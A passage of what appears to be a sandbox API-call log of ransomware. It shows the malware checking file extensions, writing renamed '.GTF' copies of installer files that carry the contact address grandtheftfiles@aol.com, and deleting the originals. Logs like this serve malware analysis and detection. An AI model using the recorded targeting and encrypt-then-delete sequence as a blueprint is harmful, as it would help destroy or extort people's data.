	[0066.650] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.650] lstrlenW (lpString=".pdf") returned 4
	[0066.650] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.650] lstrlenW (lpString=".xls") returned 4
	[0066.650] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.650] lstrlenW (lpString=".xlsx") returned 5
	[0066.650] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.650] lstrlenW (lpString=".ppt") returned 4
	[0066.650] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.650] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0066.650] lstrlenW (lpString=".zip") returned 4
	[0066.650] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.650] lstrlenW (lpString=".rar") returned 4
	[0066.650] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.650] lstrlenW (lpString=".bz2") returned 4
	[0066.650] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.650] lstrlenW (lpString=".7z") returned 3
	[0066.650] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.650] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0066.650] lstrlenW (lpString=".dbf") returned 4
	[0066.650] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.650] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0066.650] lstrlenW (lpString=".1cd") returned 4
	[0066.651] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0066.651] lstrlenW (lpString=".jpg") returned 4
	[0066.651] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0066.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0066.651] lstrlenW (lpString=".doc") returned 4
	[0066.651] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.651] lstrlenW (lpString=".docx") returned 5
	[0066.651] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.651] lstrlenW (lpString=".pdf") returned 4
	[0066.651] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.651] lstrlenW (lpString=".xls") returned 4
	[0066.651] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.651] lstrlenW (lpString=".xlsx") returned 5
	[0066.651] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.651] lstrlenW (lpString=".ppt") returned 4
	[0066.651] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0066.651] lstrlenW (lpString=".zip") returned 4
	[0066.651] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.651] lstrlenW (lpString=".rar") returned 4
	[0066.651] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.651] lstrlenW (lpString=".bz2") returned 4
	[0066.651] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.651] lstrlenW (lpString=".7z") returned 3
	[0066.651] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0066.651] lstrlenW (lpString=".dbf") returned 4
	[0066.651] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0066.651] lstrlenW (lpString=".1cd") returned 4
	[0066.651] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0066.651] lstrlenW (lpString=".jpg") returned 4
	[0066.651] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.652] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0066.652] lstrlenW (lpString="eula.rtf") returned 8
	[0066.652] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.652] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=10125) returned 1
	[0066.652] CloseHandle (hObject=0x304) returned 1
	[0066.652] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80
	[0066.652] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.652] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.652] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.652] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.652] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.664] GetLastError () returned 0x0
	[0066.664] ReadFile (in: hFile=0x304, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x278d, lpOverlapped=0x0) returned 1
	[0066.700] WriteFile (in: hFile=0x314, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x2790, lpOverlapped=0x0) returned 1
	[0066.701] ReadFile (in: hFile=0x304, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.701] WriteFile (in: hFile=0x314, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0066.701] SetEndOfFile (hFile=0x314) returned 1
	[0066.702] CloseHandle (hObject=0x314) returned 1
	[0066.703] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.703] SetEndOfFile (hFile=0x304) returned 1
	[0066.703] CloseHandle (hObject=0x304) returned 1
	[0066.704] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.704] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1
	[0066.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0066.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0066.704] lstrlenW (lpString=".doc") returned 4
	[0066.704] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.704] lstrlenW (lpString=".docx") returned 5
	[0066.704] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.704] lstrlenW (lpString=".pdf") returned 4
	[0066.704] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.704] lstrlenW (lpString=".xls") returned 4
	[0066.704] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.704] lstrlenW (lpString=".xlsx") returned 5
	[0066.704] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.704] lstrlenW (lpString=".ppt") returned 4
	[0066.704] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0066.704] lstrlenW (lpString=".zip") returned 4
	[0066.704] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.705] lstrlenW (lpString=".rar") returned 4
	[0066.705] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.705] lstrlenW (lpString=".bz2") returned 4
	[0066.705] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.705] lstrlenW (lpString=".7z") returned 3
	[0066.705] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0066.705] lstrlenW (lpString=".dbf") returned 4
	[0066.705] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0066.705] lstrlenW (lpString=".1cd") returned 4
	[0066.705] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0066.705] lstrlenW (lpString=".jpg") returned 4
	[0066.705] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0066.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0066.705] lstrlenW (lpString=".doc") returned 4
	[0066.705] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.708] lstrlenW (lpString=".docx") returned 5
	[0066.708] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.708] lstrlenW (lpString=".pdf") returned 4
	[0066.708] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.708] lstrlenW (lpString=".xls") returned 4
	[0066.708] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.708] lstrlenW (lpString=".xlsx") returned 5
	[0066.708] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.708] lstrlenW (lpString=".ppt") returned 4
	[0066.708] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0066.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0066.708] lstrlenW (lpString=".zip") returned 4
	[0066.708] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0066.708] lstrlenW (lpString=".rar") returned 4
	[0066.708] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0066.708] lstrlenW (lpString=".bz2") returned 4
	[0066.708] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0066.708] lstrlenW (lpString=".7z") returned 3
	[0066.708] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0066.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0066.708] lstrlenW (lpString=".dbf") returned 4
	[0066.708] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0066.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0066.708] lstrlenW (lpString=".1cd") returned 4
	[0066.708] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0066.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0066.708] lstrlenW (lpString=".jpg") returned 4
	[0066.708] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0066.709] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0066.709] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0066.709] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.710] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=65238) returned 1
	[0066.710] CloseHandle (hObject=0x304) returned 1
	[0066.710] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80
	[0066.710] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.710] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.710] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.710] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.710] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.710] GetLastError () returned 0x0
	[0066.710] ReadFile (in: hFile=0x304, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xfed6, lpOverlapped=0x0) returned 1
	[0066.799] WriteFile (in: hFile=0x314, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xfee0, lpOverlapped=0x0) returned 1
	[0066.801] ReadFile (in: hFile=0x304, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.801] WriteFile (in: hFile=0x314, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0066.801] SetEndOfFile (hFile=0x314) returned 1
	[0066.802] CloseHandle (hObject=0x314) returned 1
	[0066.804] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.804] SetEndOfFile (hFile=0x304) returned 1
	[0066.805] CloseHandle (hObject=0x304) returned 1
	[0066.805] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.806] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1
	[0066.806] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0066.806] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0066.806] lstrlenW (lpString=".doc") returned 4
	[0066.806] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.806] lstrlenW (lpString=".docx") returned 5
	[0066.806] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.806] lstrlenW (lpString=".pdf") returned 4
	[0066.806] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.806] lstrlenW (lpString=".xls") returned 4
	[0066.806] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.806] lstrlenW (lpString=".xlsx") returned 5
	[0066.806] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.806] lstrlenW (lpString=".ppt") returned 4
	[0066.806] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.806] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0066.806] lstrlenW (lpString=".zip") returned 4
	[0066.806] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.807] lstrlenW (lpString=".rar") returned 4
	[0066.807] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.807] lstrlenW (lpString=".bz2") returned 4
	[0066.807] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.807] lstrlenW (lpString=".7z") returned 3
	[0066.807] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0066.807] lstrlenW (lpString=".dbf") returned 4
	[0066.807] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0066.807] lstrlenW (lpString=".1cd") returned 4
	[0066.807] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0066.807] lstrlenW (lpString=".jpg") returned 4
	[0066.807] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0066.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0066.807] lstrlenW (lpString=".doc") returned 4
	[0066.807] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.807] lstrlenW (lpString=".docx") returned 5
	[0066.807] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.807] lstrlenW (lpString=".pdf") returned 4
	[0066.807] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.807] lstrlenW (lpString=".xls") returned 4
	[0066.807] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.807] lstrlenW (lpString=".xlsx") returned 5
	[0066.807] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.807] lstrlenW (lpString=".ppt") returned 4
	[0066.807] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0066.807] lstrlenW (lpString=".zip") returned 4
	[0066.807] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.807] lstrlenW (lpString=".rar") returned 4
	[0066.807] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.807] lstrlenW (lpString=".bz2") returned 4
	[0066.807] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.808] lstrlenW (lpString=".7z") returned 3
	[0066.808] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0066.808] lstrlenW (lpString=".dbf") returned 4
	[0066.808] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0066.808] lstrlenW (lpString=".1cd") returned 4
	[0066.808] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0066.808] lstrlenW (lpString=".jpg") returned 4
	[0066.808] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.808] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0066.808] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0066.808] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.808] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=79634) returned 1
	[0066.808] CloseHandle (hObject=0x304) returned 1
	[0066.808] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80
	[0066.809] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.809] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.809] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0066.835] GetLastError () returned 0x0
	[0066.835] ReadFile (in: hFile=0x314, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x13712, lpOverlapped=0x0) returned 1
	[0066.854] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x13720, lpOverlapped=0x0) returned 1
	[0066.857] ReadFile (in: hFile=0x314, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.857] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0066.857] SetEndOfFile (hFile=0x31c) returned 1
	[0066.857] CloseHandle (hObject=0x31c) returned 1
	[0066.860] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.860] SetEndOfFile (hFile=0x314) returned 1
	[0066.861] CloseHandle (hObject=0x314) returned 1
	[0066.861] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.865] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1
	[0066.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0066.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0066.866] lstrlenW (lpString=".doc") returned 4
	[0066.866] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.866] lstrlenW (lpString=".docx") returned 5
	[0066.866] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0066.866] lstrlenW (lpString=".pdf") returned 4
	[0066.866] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.866] lstrlenW (lpString=".xls") returned 4
	[0066.866] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.866] lstrlenW (lpString=".xlsx") returned 5
	[0066.866] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0066.866] lstrlenW (lpString=".ppt") returned 4
	[0066.866] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0066.866] lstrlenW (lpString=".zip") returned 4
	[0066.866] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.866] lstrlenW (lpString=".rar") returned 4
	[0066.866] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.866] lstrlenW (lpString=".bz2") returned 4
	[0066.866] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.866] lstrlenW (lpString=".7z") returned 3
	[0066.866] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0066.866] lstrlenW (lpString=".dbf") returned 4
	[0066.866] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0066.866] lstrlenW (lpString=".1cd") returned 4
	[0066.866] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.866] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0066.866] lstrlenW (lpString=".jpg") returned 4
	[0066.866] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0066.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44
	[0066.867] lstrlenW (lpString=".doc") returned 4
	[0066.867] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.867] lstrlenW (lpString=".docx") returned 5
